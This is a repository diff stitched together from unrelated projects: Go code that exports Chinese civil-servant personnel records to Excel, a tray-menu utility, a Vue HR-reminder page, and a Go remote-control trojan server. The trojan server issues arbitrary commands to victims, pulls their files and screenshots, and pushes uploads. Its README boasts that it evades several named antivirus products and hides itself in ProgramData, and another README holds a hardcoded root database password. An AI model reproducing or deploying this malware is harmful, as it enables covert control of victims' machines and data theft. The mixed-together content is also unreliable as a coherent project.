|
|
||||
headWidth := make([]float64, yrYhsLen, yrYhsLen) // 输出列名
|
|
||||
for i1, i2 := range yrYhs { |
|
||||
codes[i1] = i2.Code |
|
||||
headers[i1] = i2.Name |
|
||||
headWidth[i1] = i2.Width |
|
||||
types[i1] = i2.Type |
|
||||
} |
|
||||
return codes, headers, types, headWidth, false |
|
||||
} |
|
||||
|
|
||||
func getExcelFile(headers []string, headWidth []float64, values [][]interface{}) string { |
|
||||
f, _ := ExportExcel(sheetName, headers, headWidth, values) |
|
||||
fileNameType := fileName + time.Now().Format("2006102150405") + fileType |
|
||||
_ = f.SaveAs(fileNameType) |
|
||||
return fileNameType |
|
||||
} |
|
||||
|
|
||||
// maxCharCount 最多26个字符A-Z
|
|
||||
const maxCharCount = 26 |
|
||||
|
|
||||
// ExportExcel 导出Excel文件
|
|
||||
// sheetName 工作表名称, 注意这里不要取sheet1这种名字,否则导致文件打开时发生部分错误。
|
|
||||
// headers 列名切片, 表头
|
|
||||
// rows 数据切片,是一个二维数组
|
|
||||
func ExportExcel(sheetName string, headers []string, headWidth []float64, rows [][]interface{}) (*excelize.File, error) { |
|
||||
f := excelize.NewFile() |
|
||||
style, _ := f.NewStyle(`{ |
|
||||
"border":[ |
|
||||
{"type":"top","color":"#000000","style":1}, |
|
||||
{"type":"left","color":"#000000","style":1}, |
|
||||
{"type":"right","color":"#000000","style":1}, |
|
||||
{"type":"bottom","color":"#000000","style":1} |
|
||||
], |
|
||||
"font":{"size":12,"color":"#000000","family":"仿宋"}, |
|
||||
"alignment":{"horizontal":"center","vertical":"center","wrap_text":true}, |
|
||||
"fill":{"type":"gradient","shading":0,"color":["#FFFF00","#FFFF00"]} |
|
||||
}`) |
|
||||
sheetIndex := f.NewSheet(sheetName) |
|
||||
maxColumnRowNameLen := 1 + len(strconv.Itoa(len(rows))) |
|
||||
columnCount := len(headers) |
|
||||
if columnCount > maxCharCount { |
|
||||
maxColumnRowNameLen++ |
|
||||
} else if columnCount > maxCharCount*maxCharCount { |
|
||||
maxColumnRowNameLen += 2 |
|
||||
} |
|
||||
columnNames := make([][]byte, 0, columnCount) |
|
||||
f.SetRowHeight(sheetName, 1, 80) // 设置行高
|
|
||||
for i, header := range headers { |
|
||||
columnName := getColumnName(i, maxColumnRowNameLen) |
|
||||
columnNames = append(columnNames, columnName) |
|
||||
// 初始化excel表头,这里的index从1开始要注意
|
|
||||
curColumnName := getColumnRowName(columnName, 1) |
|
||||
f.SetColWidth(sheetName, toCharStr(i+1), toCharStr(i+1), headWidth[i]) |
|
||||
f.SetCellValue(sheetName, curColumnName, header) |
|
||||
f.SetCellStyle(sheetName, curColumnName, curColumnName, style) // 设置单元格样式
|
|
||||
} |
|
||||
for rowIndex, row := range rows { |
|
||||
for columnIndex, columnName := range columnNames { |
|
||||
// 从第二行开始
|
|
||||
f.SetCellValue(sheetName, getColumnRowName(columnName, rowIndex+2), row[columnIndex]) |
|
||||
} |
|
||||
} |
|
||||
f.SetActiveSheet(sheetIndex) |
|
||||
return f, nil |
|
||||
} |
|
||||
|
|
||||
// getColumnName 生成列名
|
|
||||
// Excel的列名规则是从A-Z往后排;超过Z以后用两个字母表示,比如AA,AB,AC;两个字母不够以后用三个字母表示,比如AAA,AAB,AAC
|
|
||||
// 这里做数字到列名的映射:0 -> A, 1 -> B, 2 -> C
|
|
||||
// maxColumnRowNameLen 表示名称框的最大长度,假设数据是10行,1000列,则最后一个名称框是J1000(如果有表头,则是J1001),是4位
|
|
||||
// 这里根据 maxColumnRowNameLen 生成切片,后面生成名称框的时候可以复用这个切片,而无需扩容
|
|
||||
func getColumnName(column, maxColumnRowNameLen int) []byte { |
|
||||
const A = 'A' |
|
||||
if column < maxCharCount { |
|
||||
// 第一次就分配好切片的容量
|
|
||||
slice := make([]byte, 0, maxColumnRowNameLen) |
|
||||
return append(slice, byte(A+column)) |
|
||||
} else { |
|
||||
// 递归生成类似AA,AB,AAA,AAB这种形式的列名
|
|
||||
return append(getColumnName(column/maxCharCount-1, maxColumnRowNameLen), byte(A+column%maxCharCount)) |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
// getColumnRowName 生成名称框
|
|
||||
// Excel的名称框是用A1,A2,B1,B2来表示的,这里需要传入前一步生成的列名切片,然后直接加上行索引来生成名称框,就无需每次分配内存
|
|
||||
func getColumnRowName(columnName []byte, rowIndex int) (columnRowName string) { |
|
||||
l := len(columnName) |
|
||||
columnName = strconv.AppendInt(columnName, int64(rowIndex), 10) |
|
||||
columnRowName = string(columnName) |
|
||||
// 将列名恢复回去
|
|
||||
columnName = columnName[:l] |
|
||||
return |
|
||||
} |
|
||||
|
|
||||
// QueryB01 获取机构树信息
|
|
||||
func QueryB01(db *sql.DB) []*dept { |
|
||||
rows, _ := db.Query(sqlB01) |
|
||||
defer rows.Close() |
|
||||
var b0111, b0121, b0101 string |
|
||||
depts := make([]*dept, 0) |
|
||||
for rows.Next() { |
|
||||
_ = rows.Scan(&b0111, &b0121, &b0101) |
|
||||
depts = append(depts, &dept{ |
|
||||
Id: b0111, |
|
||||
Pid: b0121, |
|
||||
Name: b0101, |
|
||||
Child: make([]*dept, 0), |
|
||||
}) |
|
||||
} |
|
||||
|
|
||||
return depts |
|
||||
} |
|
||||
|
|
||||
// QueryA01 获取人员信息
|
|
||||
func QueryA01(db *sql.DB, codes string, types []string, b0111 string, allObj *[][]interface{}) { |
|
||||
var sqlStr string |
|
||||
if typeStr == "1" { |
|
||||
sqlStr = fmt.Sprintf(sqlA01A0279, codes, b0111, b0111) |
|
||||
} else { |
|
||||
sqlStr = fmt.Sprintf(sqlA01A0281, codes, b0111, b0111) |
|
||||
} |
|
||||
rows, _ := db.Query(sqlStr) |
|
||||
defer rows.Close() |
|
||||
columns, _ := rows.Columns() |
|
||||
columnsLen := len(columns) |
|
||||
scanArgs := make([]interface{}, columnsLen) |
|
||||
values := make([]interface{}, columnsLen) |
|
||||
for i := range values { |
|
||||
scanArgs[i] = &values[i] |
|
||||
} |
|
||||
for rows.Next() { |
|
||||
_ = rows.Scan(scanArgs...) |
|
||||
valuer := make([]interface{}, columnsLen) |
|
||||
setValueStr(values, types, valuer) |
|
||||
*allObj = append(*allObj, valuer) |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
func setValueStr(values []interface{}, types []string, valuer []interface{}) { |
|
||||
for i, col := range values { |
|
||||
if col != nil { |
|
||||
s := string(col.([]byte)) |
|
||||
if types[i] == NULL { |
|
||||
valuer[i] = s |
|
||||
} else if types[i] == DATE { |
|
||||
valuer[i] = s[0:4] + DIAN + s[4:6] |
|
||||
} else { |
|
||||
valuer[i] = CodeValueMap[types[i]+s] |
|
||||
} |
|
||||
} else { |
|
||||
valuer[i] = NULL |
|
||||
} |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
// 获取表数据
|
|
||||
func QueryMap(db *sql.DB, sqlStr string, m map[string]string) { |
|
||||
rows, _ := db.Query(sqlStr) |
|
||||
defer rows.Close() |
|
||||
columns, _ := rows.Columns() |
|
||||
for rows.Next() { |
|
||||
_ = rows.Scan(&columns[0], &columns[1]) |
|
||||
m[columns[0]] = columns[1] |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
func has(v1 dept, vs []*dept) bool { |
|
||||
var has bool |
|
||||
has = false |
|
||||
for _, v2 := range vs { |
|
||||
v3 := *v2 |
|
||||
if v1.Id == v3.Pid { |
|
||||
has = true |
|
||||
break |
|
||||
} |
|
||||
} |
|
||||
return has |
|
||||
|
|
||||
} |
|
||||
|
|
||||
// makeTree 生成机构树对象
|
|
||||
func makeTree(vs []*dept, node *dept) { |
|
||||
childs := findChild(node, vs) |
|
||||
for _, child := range childs { |
|
||||
node.Child = append(node.Child, child) |
|
||||
if has(*child, vs) { |
|
||||
makeTree(vs, child) |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
} |
|
||||
|
|
||||
func findChild(v *dept, vs []*dept) (ret []*dept) { |
|
||||
ret = make([]*dept, 0) |
|
||||
for _, v2 := range vs { |
|
||||
if v.Id == v2.Pid { |
|
||||
ret = append(ret, v2) |
|
||||
} |
|
||||
} |
|
||||
return |
|
||||
} |
|
||||
|
|
||||
// 数字转字母
|
|
||||
func toCharStr(i int) string { |
|
||||
return string(rune('A' - 1 + i)) |
|
||||
} |
|
||||
|
|
||||
type YrYh struct { |
|
||||
Name string `json:"name"` |
|
||||
Code string `json:"code"` |
|
||||
Type string `json:"type"` |
|
||||
Width float64 `json:"width"` |
|
||||
} |
|
||||
|
|
||||
const yryh = `[ |
|
||||
{"name":"姓名","code":"a01.a0101","type":"","width":11}, |
|
||||
{"name":"性别","code":"a01.a0104","type":"GB2261","width":8}, |
|
||||
{"name":"民族","code":"a01.a0117","type":"GB3304","width":8}, |
|
||||
{"name":"出生日期","code":"a01.a0107","type":"DATE","width":12}, |
|
||||
{"name":"参加工作时间","code":"a01.a0134","type":"DATE","width":13}, |
|
||||
{"name":"入党时间","code":"a01.a0140","type":"","width":12}, |
|
||||
{"name":"工作单位及职务全称","code":"a01.a0192a","type":"","width":20}, |
|
||||
{"name":"职务层次","code":"a01.a0221","type":"ZB09","width":12}, |
|
||||
{"name":"任职务层次时间","code":"a01.a0288","type":"DATE","width":15}, |
|
||||
{"name":"职级","code":"a01.a0192e","type":"ZB148","width":12}, |
|
||||
{"name":"任职级时间","code":"a01.a0192c","type":"DATE","width":12}, |
|
||||
{"name":"任相当层次职务职级时间","code":"a01.a0192x","type":"DATE","width":15}, |
|
||||
{"name":"最高学历","code":"a01.zgxl","type":"","width":15}, |
|
||||
{"name":"籍贯","code":"a01.a0111","type":"ZB01","width":12} |
|
||||
]` |
|
||||
const DATE = "DATE" |
|
||||
const NULL = "" |
|
||||
const DIAN = "." |
|
||||
|
|
||||
// 树结构
|
|
||||
type dept struct { |
|
||||
Id string `json:"id"` |
|
||||
Pid string `json:"pid"` |
|
||||
Name string `json:"name"` |
|
||||
Child []*dept `json:"child"` |
|
||||
} |
|
@ -0,0 +1,74 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"github.com/lxn/walk" |
||||
|
"log" |
||||
|
) |
||||
|
|
||||
|
func (mw *myApp) AddNotifyIcon() { |
||||
|
var err error |
||||
|
mw.ni, err = walk.NewNotifyIcon(mw) |
||||
|
checkError(err) |
||||
|
mw.ni.SetVisible(true) |
||||
|
|
||||
|
icon, err := walk.NewIconFromResourceId(3) |
||||
|
checkError(err) |
||||
|
mw.SetIcon(icon) |
||||
|
mw.ni.SetIcon(icon) |
||||
|
|
||||
|
sjMenu := mw.addMenu("数据库") |
||||
|
service1.menuStart = mw.addAction(sjMenu, "启动") |
||||
|
service1.menuStop = mw.addAction(sjMenu, "停止") |
||||
|
|
||||
|
service1.menuStart.Triggered().Attach(func() { |
||||
|
startService(service1) |
||||
|
}) |
||||
|
service1.menuStop.Triggered().Attach(func() { |
||||
|
stopService(service1) |
||||
|
}) |
||||
|
|
||||
|
cxMenu := mw.addMenu("应用") |
||||
|
service3.menuStart = mw.addAction(cxMenu, "启动") |
||||
|
service3.menuStop = mw.addAction(cxMenu, "停止") |
||||
|
service3.menuStart.Triggered().Attach(func() { |
||||
|
startService(service3) |
||||
|
}) |
||||
|
service3.menuStop.Triggered().Attach(func() { |
||||
|
stopService(service3) |
||||
|
}) |
||||
|
|
||||
|
mw.addAction(nil, "exit").Triggered().Attach(func() { |
||||
|
mw.ni.Dispose() |
||||
|
mw.Dispose() |
||||
|
walk.App().Exit(0) |
||||
|
}) |
||||
|
|
||||
|
} |
||||
|
|
||||
|
func (mw *myApp) addMenu(name string) *walk.Menu { |
||||
|
helpMenu, err := walk.NewMenu() |
||||
|
checkError(err) |
||||
|
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu) |
||||
|
checkError(err) |
||||
|
help.SetText(name) |
||||
|
|
||||
|
return helpMenu |
||||
|
} |
||||
|
|
||||
|
func (mw *myApp) addAction(menu *walk.Menu, name string) *walk.Action { |
||||
|
action := walk.NewAction() |
||||
|
action.SetText(name) |
||||
|
if menu != nil { |
||||
|
menu.Actions().Add(action) |
||||
|
} else { |
||||
|
mw.ni.ContextMenu().Actions().Add(action) |
||||
|
} |
||||
|
|
||||
|
return action |
||||
|
} |
||||
|
|
||||
|
func checkError(err error) { |
||||
|
if err != nil { |
||||
|
log.Fatal(err) |
||||
|
} |
||||
|
} |
@ -0,0 +1,25 @@ |
|||||
|
# 应用检测软件 |
||||
|
|
||||
|
|
||||
|
## 说明: |
||||
|
* 当前存在两个分支 |
||||
|
* master 为 全国公务员系统工具 |
||||
|
* hy_YingJiGuanLiBu 为 消防干部系统工具 |
||||
|
|
||||
|
|
||||
|
> 两部分差异部分 |
||||
|
> `main.go` 和 `winStruct.go` |
||||
|
> ``` go |
||||
|
> var TableName // 变量值 |
||||
|
> var Version // 变量值 |
||||
|
> var epsoft1 // 变量值 |
||||
|
> var epsoft2 // 变量值 |
||||
|
> var service1 // 变量值 |
||||
|
> var service3 // 变量值 |
||||
|
> // 方法内容 数据链接 |
||||
|
> db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35019)/hy_yjglb?charset=utf8") |
||||
|
> // 方法内容 实现打包内容范围 |
||||
|
> // 【sql方式】统计库部分 |
||||
|
> // 【sql方式】基础库部分 |
||||
|
> // 备份压缩文件 |
||||
|
> ``` |
@ -0,0 +1,245 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"bufio" |
||||
|
"encoding/base64" |
||||
|
"flag" |
||||
|
"fmt" |
||||
|
"io" |
||||
|
"io/ioutil" |
||||
|
"log" |
||||
|
"net" |
||||
|
"os" |
||||
|
"os/exec" |
||||
|
"path/filepath" |
||||
|
"strconv" |
||||
|
"strings" |
||||
|
"sync" |
||||
|
"time" |
||||
|
) |
||||
|
|
||||
|
const ( |
||||
|
WHITE = "\x1b[37;1m" |
||||
|
RED = "\x1b[31;1m" |
||||
|
GREEN = "\x1b[32;1m" |
||||
|
YELLOW = "\x1b[33;1m" |
||||
|
BLUE = "\x1b[34;1m" |
||||
|
MAGENTA = "\x1b[35;1m" |
||||
|
CYAN = "\x1b[36;1m" |
||||
|
VERSION = "2.5.0" |
||||
|
) |
||||
|
|
||||
|
var ( |
||||
|
inputIP = flag.String("IP", "0.0.0.0", "Listen IP") |
||||
|
inputPort = flag.String("PORT", "53", "Listen Port") |
||||
|
connPwd = flag.String("PWD", "18Sd9fkdkf9", "Connection Password") |
||||
|
counter int //用于会话计数,给map的key使用
|
||||
|
connlist map[int]net.Conn = make(map[int]net.Conn) //存储所有连接的会话
|
||||
|
connlistIPAddr map[int]string = make(map[int]string) //存储所有IP地址,提供输入标识符显示
|
||||
|
lock = &sync.Mutex{} |
||||
|
downloadOutName string |
||||
|
) |
||||
|
|
||||
|
func getDateTime() string { |
||||
|
currentTime := time.Now() |
||||
|
// https://golang.org/pkg/time/#example_Time_Format
|
||||
|
return currentTime.Format("2006-01-02-15-04-05") |
||||
|
} |
||||
|
|
||||
|
// ReadLine 函数等待命令行输入,返回字符串
|
||||
|
func ReadLine() string { |
||||
|
buf := bufio.NewReader(os.Stdin) |
||||
|
lin, _, err := buf.ReadLine() |
||||
|
if err != nil { |
||||
|
fmt.Println(RED, "[!] Error to Read Line!") |
||||
|
} |
||||
|
return string(lin) |
||||
|
} |
||||
|
|
||||
|
// Socket客户端连接处理程序,专用于接收消息处理
|
||||
|
func connection(conn net.Conn) { |
||||
|
defer conn.Close() |
||||
|
var myid int |
||||
|
myip := conn.RemoteAddr().String() |
||||
|
|
||||
|
lock.Lock() |
||||
|
counter++ |
||||
|
myid = counter |
||||
|
connlist[counter] = conn |
||||
|
connlistIPAddr[counter] = myip |
||||
|
lock.Unlock() |
||||
|
|
||||
|
fmt.Printf("--- client: %s connection ---\n", myip) |
||||
|
for { |
||||
|
message, err := bufio.NewReader(conn).ReadString('\n') |
||||
|
//如果客户端断开
|
||||
|
if err == io.EOF { |
||||
|
conn.Close() |
||||
|
delete(connlist, myid) |
||||
|
delete(connlistIPAddr, myid) |
||||
|
break |
||||
|
} |
||||
|
decoded, _ := base64.StdEncoding.DecodeString(message) |
||||
|
decMessage := string(decoded) |
||||
|
switch decMessage { |
||||
|
|
||||
|
case "download": |
||||
|
//fmt.Println("---收到download指令,等待下一次数据上传---")
|
||||
|
// 等待用户上传数据
|
||||
|
encData, _ := bufio.NewReader(conn).ReadString('\n') |
||||
|
fmt.Println(YELLOW, "-> Downloading...") |
||||
|
decData, _ := base64.URLEncoding.DecodeString(encData) |
||||
|
downFilePath, _ := filepath.Abs(string(downloadOutName) + getDateTime()) |
||||
|
ioutil.WriteFile(downFilePath, []byte(decData), 777) |
||||
|
fmt.Println(GREEN, "-> Download Done...") |
||||
|
case "screenshot": |
||||
|
encData, _ := bufio.NewReader(conn).ReadString('\n') |
||||
|
fmt.Println(YELLOW, "-> Getting ScreenShot...") |
||||
|
decData, _ := base64.URLEncoding.DecodeString(encData) |
||||
|
//filename := myip + getDateTime()+".png"
|
||||
|
absFilePath, _ := filepath.Abs(strings.Replace(myip, ":", "_", -1) + getDateTime() + ".png") |
||||
|
ioutil.WriteFile(absFilePath, []byte(decData), 777) |
||||
|
fmt.Printf(GREEN+"-> ScreenShot Done, filename: %s\n", absFilePath) |
||||
|
|
||||
|
default: |
||||
|
fmt.Println("\n" + decMessage) |
||||
|
} |
||||
|
} |
||||
|
fmt.Printf("--- %s close---\n", myip) |
||||
|
} |
||||
|
|
||||
|
// 等待Socket 客户端连接
|
||||
|
func handleConnWait() { |
||||
|
l, err := net.Listen("tcp", *inputIP+":"+*inputPort) |
||||
|
if err != nil { |
||||
|
log.Fatal(err) |
||||
|
} |
||||
|
defer l.Close() |
||||
|
for { |
||||
|
conn, err := l.Accept() |
||||
|
if err != nil { |
||||
|
log.Fatal(err) |
||||
|
} |
||||
|
message, err := bufio.NewReader(conn).ReadString('\n') |
||||
|
decoded, _ := base64.StdEncoding.DecodeString(message) |
||||
|
if string(decoded) == *connPwd { |
||||
|
go connection(conn) |
||||
|
} else { |
||||
|
backMsg := base64.URLEncoding.EncodeToString([]byte("back")) |
||||
|
conn.Write([]byte(backMsg + "\n")) |
||||
|
conn.Close() |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
func main() { |
||||
|
flag.Parse() |
||||
|
go handleConnWait() |
||||
|
connid := 0 |
||||
|
for { |
||||
|
fmt.Print(RED, "SESSION ", connlistIPAddr[connid], WHITE, "> ") |
||||
|
command := ReadLine() |
||||
|
_conn, ok := connlist[connid] |
||||
|
switch command { |
||||
|
case "": |
||||
|
// 如果输入为空,则什么都不做
|
||||
|
case "help": |
||||
|
fmt.Println("") |
||||
|
fmt.Println(CYAN, "COMMANDS DESCRIPTION") |
||||
|
fmt.Println(CYAN, "-------------------------------------------------------") |
||||
|
fmt.Println(CYAN, "session 选择在线的客户端") |
||||
|
fmt.Println(CYAN, "download 下载远程文件") |
||||
|
fmt.Println(CYAN, "upload 上传本地文件") |
||||
|
fmt.Println(CYAN, "screenshot 远程桌面截图") |
||||
|
fmt.Println(CYAN, "charset gbk 设置客户端命令行输出编码,gbk是简体中文") |
||||
|
fmt.Println(CYAN, "clear 清楚屏幕") |
||||
|
fmt.Println(CYAN, "exit 客户端下线") |
||||
|
fmt.Println(CYAN, "quit 退出服务器端") |
||||
|
fmt.Println(CYAN, "startup 加入启动项目文件夹") |
||||
|
fmt.Println(CYAN, "-------------------------------------------------------") |
||||
|
fmt.Println("") |
||||
|
case "session": |
||||
|
fmt.Println(connlist) |
||||
|
fmt.Print("选择客户端ID: ") |
||||
|
inputid := ReadLine() |
||||
|
if inputid != "" { |
||||
|
var e error |
||||
|
connid, e = strconv.Atoi(inputid) |
||||
|
if e != nil { |
||||
|
fmt.Println("请输入数字") |
||||
|
} else if _, ok := connlist[connid]; ok { |
||||
|
//如果输入并且存在客户端id
|
||||
|
_cmd := base64.URLEncoding.EncodeToString([]byte("getos")) |
||||
|
connlist[connid].Write([]byte(_cmd + "\n")) |
||||
|
} |
||||
|
} |
||||
|
case "clear": |
||||
|
ClearScreen() |
||||
|
case "exit": |
||||
|
if ok { |
||||
|
encDownload := base64.URLEncoding.EncodeToString([]byte("exit")) |
||||
|
_conn.Write([]byte(encDownload + "\n")) |
||||
|
} |
||||
|
case "quit": |
||||
|
os.Exit(0) |
||||
|
case "download": |
||||
|
if ok { |
||||
|
// 第一步,发送下载指令
|
||||
|
encDownload := base64.URLEncoding.EncodeToString([]byte("download")) |
||||
|
_conn.Write([]byte(encDownload + "\n")) |
||||
|
// 第二步,输入下载路径和要保存的文件名,发送给客户端
|
||||
|
fmt.Print("File Path to Download: ") |
||||
|
nameDownload := ReadLine() |
||||
|
fmt.Print("Output name: ") |
||||
|
downloadOutName = ReadLine() |
||||
|
// 下发需要download的文件名路径, conn连接的协程里面接收
|
||||
|
encName := base64.URLEncoding.EncodeToString([]byte(nameDownload)) |
||||
|
_conn.Write([]byte(encName + "\n")) |
||||
|
fmt.Print(encName) |
||||
|
} |
||||
|
|
||||
|
case "screenshot": |
||||
|
if ok { |
||||
|
encScreenShot := base64.URLEncoding.EncodeToString([]byte("screenshot")) |
||||
|
_conn.Write([]byte(encScreenShot + "\n")) |
||||
|
} |
||||
|
|
||||
|
case "upload": |
||||
|
if ok { |
||||
|
encUpload := base64.URLEncoding.EncodeToString([]byte("upload")) |
||||
|
_conn.Write([]byte(encUpload + "\n")) |
||||
|
|
||||
|
fmt.Print("File Path to Upload: ") |
||||
|
pathUpload := ReadLine() |
||||
|
|
||||
|
fmt.Print("Output name: ") |
||||
|
outputName := ReadLine() |
||||
|
encOutput := base64.URLEncoding.EncodeToString([]byte(outputName)) |
||||
|
_conn.Write([]byte(encOutput + getDateTime() + "\n")) |
||||
|
|
||||
|
fmt.Println(YELLOW, "-> Uploading...") |
||||
|
//上传文件
|
||||
|
file, err := ioutil.ReadFile(pathUpload) |
||||
|
if err != nil { |
||||
|
fmt.Println(RED, "[!] File not found!") |
||||
|
break |
||||
|
} |
||||
|
encData := base64.URLEncoding.EncodeToString(file) |
||||
|
_conn.Write([]byte(string(encData) + "\n")) |
||||
|
fmt.Println(GREEN, "-> Upload Done...") |
||||
|
} |
||||
|
default: |
||||
|
if ok { |
||||
|
_cmd := base64.URLEncoding.EncodeToString([]byte(command)) |
||||
|
_conn.Write([]byte(_cmd + "\n")) |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
// ClearScreen 清除屏幕
|
||||
|
func ClearScreen() { |
||||
|
cmd := exec.Command("clear") |
||||
|
cmd.Stdout = os.Stdout |
||||
|
cmd.Run() |
||||
|
} |
@ -0,0 +1,19 @@ |
|||||
|
# 一款Golang免杀远控 |
||||
|
|
||||
|
## 01 工具介绍 |
||||
|
由于工作需要,写了一款Golang远控软件,现在也用不上了,开源算了,支持很多功能,如 ”加密传输、截图回传、反向Socks5代理回内网、开机自启“。 |
||||
|
|
||||
|
当client.exe被点击后,小马会自动复制本身到 ”C:\ProgramData“ 隐藏目录并再次执行,自动删除当前桌面上的Clinet文件。 |
||||
|
|
||||
|
目前大多数远控软件都基于C++/C#编写的,杀软对这些开发语言很敏感,非常容易就被识别出来了,但使用Golang语言编写的就不一样了,改一改就能过360、火绒、金山、腾讯电脑管家、AVG、等等,如有需要添加其他功能,可以私我哦。 |
||||
|
|
||||
|
## 02 目前的功能 |
||||
|
多用户上线,多用户管理 |
||||
|
* 下载远程文件 |
||||
|
* 上传本地文件到目标电脑 |
||||
|
* 屏幕截图,回传 |
||||
|
* 动态设置编码 |
||||
|
* 执行系统任意指令 |
||||
|
* 安装成服务,实现开机自启[x] |
||||
|
* 反向socks5[x] |
||||
|
* EXE文件捆绑[x] |
@ -0,0 +1,318 @@ |
|||||
|
<template> |
||||
|
<el-container> |
||||
|
<el-main v-loading="loading" :element-loading-text="msg"> |
||||
|
<!-- 左侧 --> |
||||
|
<el-row> |
||||
|
<el-col :span="5" class="header-left"> |
||||
|
<el-row style="height:40px;background-color:#EEEEEE;border:1px solid #E1E1E1;border-width:1px 0px;padding:4px 14px"> |
||||
|
demo 123456 |
||||
|
</el-row> |
||||
|
<el-row class="tac"> |
||||
|
<el-col> |
||||
|
<el-menu el-menu :default-active="activeIndex"> |
||||
|
<!-- <el-menu-item-group> --> |
||||
|
<el-menu-item index="TXRY" class="classAffair"> |
||||
|
<div class="classAffair-img"><i class="el-icon-s-order"></i></div> |
||||
|
<div class="classAffair-info"> |
||||
|
<p class="tac-title">即将退休人员</p> |
||||
|
<!-- <p class="tac-des">默认查询30天内即将退休人员</p> --> |
||||
|
</div> |
||||
|
<span class="classAffair-badge">12</span> |
||||
|
</el-menu-item> |
||||
|
<el-menu-item index="CLTXRY" class="classAffair"> |
||||
|
<div class="classAffair-img"><i class="el-icon-s-custom"></i></div> |
||||
|
<div class="classAffair-info"> |
||||
|
<p class="tac-title">已超退休年龄人员</p> |
||||
|
<!-- <p class="tac-des">默认查询30天内超龄未退休人员</p> --> |
||||
|
</div> |
||||
|
<span class="classAffair-badge">12</span> |
||||
|
</el-menu-item> |
||||
|
<el-menu-item index="JLRY" class="classAffair"> |
||||
|
<div class="classAffair-img"><i class="el-icon-s-check"></i></div> |
||||
|
<div class="classAffair-info"> |
||||
|
<p class="tac-title">应交流人员</p> |
||||
|
<!-- <p class="tac-des">默认查询任同一工作单位及职务满十年以上人员</p> --> |
||||
|
</div> |
||||
|
<span class="classAffair-badge">12</span> |
||||
|
</el-menu-item> |
||||
|
<el-menu-item index="SYQRY" class="classAffair"> |
||||
|
<div class="classAffair-img"><i class="el-icon-user-solid"></i></div> |
||||
|
<div class="classAffair-info"> |
||||
|
<p class="tac-title">试用期人员</p> |
||||
|
<!-- <p class="tac-des">默认查询30天内将过试用期人员</p> --> |
||||
|
</div> |
||||
|
<span class="classAffair-badge">12</span> |
||||
|
</el-menu-item> |
||||
|
<el-menu-item index="SRRY" class="classAffair"> |
||||
|
<div class="classAffair-img"><i class="el-icon-s-custom"></i></div> |
||||
|
<div class="classAffair-info"> |
||||
|
<p class="tac-title">即将过生日人员</p> |
||||
|
<!-- <p class="tac-des">默认查询本月过生日人员</p> --> |
||||
|
</div> |
||||
|
<span class="classAffair-badge">12</span> |
||||
|
</el-menu-item> |
||||
|
<!-- </el-menu-item-group> --> |
||||
|
</el-menu> |
||||
|
</el-col> |
||||
|
</el-row> |
||||
|
<el-row class="setting-main"> |
||||
|
<p class="setting-title" v-if="setShow">提醒设置</p> |
||||
|
<el-form label-width="180px" class="demo-ruleForm tac-set-form" v-if="setShow"> |
||||
|
<el-form-item label="女性退休年龄设置(年龄)" prop="age"> |
||||
|
<el-input v-model="f_formSET.women_txnl"></el-input> |
||||
|
</el-form-item> |
||||
|
<el-form-item label="男性退休年龄设置(年龄)" prop="age"> |
||||
|
<el-input v-model="f_formSET.men_txnl"></el-input> |
||||
|
</el-form-item> |
||||
|
<el-form-item label="应交流人员期限设置(年)" prop="age"> |
||||
|
<el-input v-model="f_formSET.jlnx"></el-input> |
||||
|
</el-form-item> |
||||
|
<el-form-item label="试用期设置(月)" prop="age"> |
||||
|
<el-input v-model="f_formSET.probation"></el-input> |
||||
|
</el-form-item> |
||||
|
</el-form> |
||||
|
</el-row> |
||||
|
<el-row class="tac-footer-btn"> |
||||
|
<el-button size="mini" v-if="!setShow" @click="resfSettings"> |
||||
|
<i class="el-icon-setting" style="margin-right:5px;"></i>设置提醒 |
||||
|
</el-button> |
||||
|
<el-button size="mini" id="query" style="width:90px" v-if="setShow" @click="resfSettings"> |
||||
|
<i class="el-icon-circle-check" style="color:#409EFF;margin-right:5px;"></i>保存 |
||||
|
</el-button> |
||||
|
<el-button size="mini" v-if="setShow" style="width:90px" @click="resfSettings"> |
||||
|
<i class="el-icon-circle-close" style="margin-right:5px;"></i>取消 |
||||
|
</el-button> |
||||
|
</el-row> |
||||
|
</el-col> |
||||
|
<!-- 右侧 --> |
||||
|
<el-col :span="19" class="header-right">demo</el-col> |
||||
|
</el-row> |
||||
|
</el-main> |
||||
|
</el-container> |
||||
|
</template> |
||||
|
<script> |
||||
|
export default { |
||||
|
|
||||
|
name: 'Demo', |
||||
|
|
||||
|
data() { |
||||
|
return { |
||||
|
setShow: false, |
||||
|
activeIndex: '1', |
||||
|
msg: '加载中', |
||||
|
loading: false, |
||||
|
f_formSET: { |
||||
|
women_txnl: '', |
||||
|
men_txnl: '', |
||||
|
probation: '', |
||||
|
jlnx: '' //交流年限设置 |
||||
|
}, |
||||
|
} |
||||
|
}, |
||||
|
created() {}, |
||||
|
watch: {}, |
||||
|
mounted() {}, |
||||
|
methods: {}, |
||||
|
beforeDestroy() {}, |
||||
|
} |
||||
|
</script> |
||||
|
<style> |
||||
|
|
||||
|
ul, |
||||
|
p { |
||||
|
padding: 0px; |
||||
|
margin: 0px; |
||||
|
} |
||||
|
|
||||
|
.exitManageaHeaderSide>.el-button { |
||||
|
margin-left: 0px!important; |
||||
|
margin-right: 8px; |
||||
|
} |
||||
|
|
||||
|
.exitManageaHeaderSide>.el-button:last-child { |
||||
|
margin-right: 0; |
||||
|
} |
||||
|
|
||||
|
.exitManageSelect input { |
||||
|
height: 30px; |
||||
|
} |
||||
|
|
||||
|
.orgPosition .el-input__inner { |
||||
|
height: 30px!important; |
||||
|
line-height: 30px!important; |
||||
|
} |
||||
|
|
||||
|
.personDataContainer ul li, |
||||
|
.pictureContainer ul li { |
||||
|
/* width: 24%; |
||||
|
float: left; |
||||
|
margin-left: 1%; |
||||
|
margin-bottom: 15px; */ |
||||
|
width: 15%; |
||||
|
float: left; |
||||
|
margin-left: 1%; |
||||
|
margin-bottom: 5px; |
||||
|
